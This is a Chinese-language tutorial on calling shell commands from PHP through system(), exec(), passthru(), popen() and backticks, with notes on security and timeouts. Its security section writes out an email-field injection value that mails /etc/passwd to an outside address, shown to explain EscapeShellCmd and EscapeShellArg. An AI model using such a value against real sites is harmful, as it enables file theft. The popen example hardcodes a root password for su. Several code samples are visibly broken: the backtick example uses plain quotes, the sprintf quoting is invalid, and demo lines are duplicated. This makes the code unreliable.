這幾個function的區別:
- system()輸出並返回最後一行shell結果。
- exec()不輸出結果，返回最後一行shell結果，所有結果可以保存到一個返回的數組裡面。
- passthru()只調用命令，把命令的運行結果原樣地直接輸出到標準輸出設備上。
相同點：都可以獲得命令執行的狀態碼
demo:
//system('dir');
// exec ('dir');
// passthru ('dir');
// echo `dir`;
//system('dir');
// exec ('dir');
// passthru ('dir');
// echo `dir`;
PHP作為一種server端的腳本語言，可以編寫簡單與複雜的動態網頁功能，PHP能夠完全勝任。
但有時為了實行某些功能，筆續透過外部的shell script或是指令（或稱為命令），可以比較有效率的完成目的。
那麼，是否可以在PHP中執行外部指令呢？ 可以，只要用一個或幾個function即可
在PHP中調用外部命令，可以用如下三種方法來實現：
1）用PHP提供的專門函數
PHP提供共了3個專門的執行外部命令的函數：system()，exec()，passthru()。
system()
原型：string system (string command [, int return_var])
system()函數很其它語言中的差不多，它執行給定的命令，輸出和返回結果。第二個參數是可選的，用來得到命令執行後的狀態碼。
例子：
system("/usr/local/bin/webalizer/webalizer");
?>
exec()
原型：string exec (string command [, string array [, int return_var]])
exec
()函數與system()類似，也執行給定的命令，但不輸出結果，而是返回結果的最後一行。雖然它只返回命令結果的最後一行，但用第二個參數array
可以得到完整的結果，方法是把結果逐行追加到array的結尾處。所以如果array不是空的，在調用之前最好用unset()最它清掉。只有指定了第二
個參數時，才可以用第三個參數，用來取得命令執行的狀態碼。
例子：
exec("/bin/ls -l");
exec("/bin/ls -l", $res);
exec("/bin/ls -l", $res, $rc);
?>
passthru()
原型：void passthru (string command [, int return_var])
passthru
()只調用命令，不返回任何結果，但把命令的運行結果原樣地直接輸出到標準輸出設備上。所以passthru()函數經常用來調用象pbmplus
（Unix下的一個處理圖片的工具，輸出二進制的原始圖片的流）這樣的程序。同樣它也可以得到命令執行的狀態碼。
例子：
header("Content-type: image/gif");
passthru("./ppmtogif hunte.ppm");
?>
2）用popen()函數打開進程
上面的方法只能簡單地執行命令，卻不能與命令交互。但有些時候必須向命令輸入一些東西，如在增加Linux的系統用戶時，要調用su來把當前用戶換到root才行，而su命令必須要在命令行上輸入root的密碼。這種情況下，用上面提到的方法顯然是不行的。
popen
()函數打開一個進程管道來執行給定的命令，返回一個文件句柄。既然返回的是一個文件句柄，那麼就可以對它讀和寫了。在PHP3中，對這種句柄只能做單一
的操作模式，要么寫，要么讀；從PHP4開始，可以同時讀和寫了。除非這個句柄是以一種模式（讀或寫）打開的，否則必須調用pclose()函數來關閉
它。
例子1：
$fp=popen("/bin/ls -l", "r");
?>
例子2（本例來自PHP中國聯盟網站http://www.phpx.com/show.php?d=col&i=51）：
/* PHP中如何增加一個系統用戶
下面是一段例程，增加一個名字為james的用戶,
root密碼是verygood。僅供參考
*/
$sucommand = "su --login root --command";
$useradd = "useradd ";
$rootpasswd = "verygood";
$user = "james";
$user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w");
@fputs($fp,$rootpasswd);
@pclose($fp);
?>
3）用反撇號（`，也就是鍵盤上ESC鍵下面的那個，和~在同一個上面）
這個方法以前沒有歸入PHP的文檔，是作為一個秘技存在的。方法很簡單，用兩個反撇號把要執行的命令括起來作為一個表達式，這個表達式的值就是命令執行的結果。如：
$res='/bin/ls -l';
echo '
'.$res.'
';
'.$res.'
';
?>
這個腳本的輸出就像：
hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要考慮些什麼？
要考慮兩個問題：安全性和超時。
先看安全性。比如，你有一家小型的網上商店，所以可以出售的產品列表放在一個文件中。你編寫了一個有表單的HTML文件，讓你的用戶輸入他們的
EMAIL地址，然後把這個產品列表發給他們。假設你沒有使用PHP的mail()函數（或者從未聽說過），你就調用Linux/Unix系統的mail
程序來發送這個文件。程序就像這樣：
system("mail $to < products.txt");
echo "我們的產品目錄已經發送到你的信箱：$to";
?>
用這段代碼，一般的用戶不會產生什麼危險，但實際上存在著非常大的安全漏洞。如果有個惡意的用戶輸入了這樣一個EMAIL地址：
'--bla ; mail someone@domain.com < /etc/passwd ;'
那麼這條命令最終變成：
'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt'
我相信，無論哪個網絡管理人員見到這樣的命令，都會嚇出一身冷汗來。
幸好，PHP為我們提供了兩個函數：EscapeShellCmd()和EscapeShellArg()。函數EscapeShellCmd把一
個字符串中所有可能瞞過Shell而去執行另外一個命令的字符轉義。這些字符在Shell中是有特殊含義的，象分號（），重定向（>）和從文件讀入
（<）等。函數EscapeShellArg是用來處理命令的參數的。它在給定的字符串兩邊加上單引號，並把字符串中的單引號轉義，這樣這個字符串
就可以安全地作為命令的參數。
再來看看超時問題。如果要執行的命令要花費很長的時間，那麼應該把這個命令放到系統的後台去運行。但在默認情況下，象system()等函數要等到
這個命令運行完才返回（實際上是要等命令的輸出結果），這肯定會引起PHP腳本的超時。解決的辦法是把命令的輸出重定向到另外一個文件或流中，如：
system("/usr/local/bin/order_proc > /tmp/null &");
?>
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